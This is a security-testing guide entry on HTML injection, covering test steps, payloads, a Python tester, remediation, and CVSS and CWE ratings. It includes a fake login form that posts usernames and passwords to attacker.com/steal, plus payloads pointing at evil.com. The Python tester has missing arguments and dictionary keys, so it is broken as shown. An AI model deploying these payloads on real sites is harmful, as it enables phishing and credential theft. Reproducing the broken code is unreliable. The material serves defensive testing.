wstg-clnt-03
Test ID
WSTG-CLNT-03
Test Name
Testing for HTML Injection
High-Level Description
HTML injection allows attackers to inject arbitrary HTML content into web pages. While not as severe as XSS (no script execution), it can be used for phishing, defacement, or to manipulate page content to trick users.
What to Check
How to Test
Step 1: Basic HTML Injection
#!/bin/bash
TARGET="https://target.com"
payloads=(
"<h1>Injected</h1>"
"<a href='https://evil.com'>Click here</a>"
"<form action='https://evil.com'><input name='password'><input type='submit'></form>"
"<img src='https://evil.com/logo.png'>"
"<marquee>HTML Injection</marquee>"
)
for payload in "${payloads[@]}"; do
encoded=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$payload'))")
response=$(curl -s "$TARGET/search?q=$encoded")
if echo "$response" | grep -q "<h1>Injected\|<a href='\|<form action="; then
echo "[VULN] HTML injection: $payload"
fi
done
Step 2: Phishing Form Injection
<form action="https://attacker.com/steal" method="POST">
<h2>Session Expired - Please Re-login</h2>
<input name="username" placeholder="Username" />
<input name="password" type="password" placeholder="Password" />
<button type="submit">Login</button>
</form>
Step 3: HTML Injection Tester
import requests
import html
class HTMLInjectionTester:
def __init__(self, base_url):
self.base_url = base_url
self.findings = []
def test_injection(self, endpoint, param):
"""Test for HTML injection"""
print(f"[*] Testing HTML injection: {endpoint}?{param}")
payloads = [
("<h1>TEST</h1>", "<h1>TEST</h1>"),
("<b>bold</b>", "<b>bold</b>"),
("<a href=x>link</a>", "<a href"),
("<img src=x>", "<img src"),
("<table><tr><td>cell</td></tr></table>", "<table>"),
]
for payload, check in payloads:
url = f"{self.base_url}{endpoint}"
response = requests.get(url, params={param: payload})
if check in response.text and html.escape(check) not in response.text:
print(f"[VULN] HTML injection with: {payload[:30]}")
self.findings.append({
: endpoint,
: param,
: payload,
:
})
tester = HTMLInjectionTester()
tester.test_injection(, )
tester.test_injection(, )
Remediation
import html
user_input = "<h1>Malicious</h1>"
safe_output = html.escape(user_input)
element.textContent = userInput
Risk Assessment
| Finding | CVSS | Severity |
|---|
| HTML injection (phishing) | 4.3 | Medium |
| HTML injection (defacement) | 3.5 | Low |
CWE Categories
| CWE ID | Title |
|---|
| CWE-80 | Improper Neutralization of Script-Related HTML Tags |
Checklist
[ ] Input fields tested
[ ] URL parameters tested
[ ] Error messages checked
[ ] HTML encoding verified
[ ] Findings documented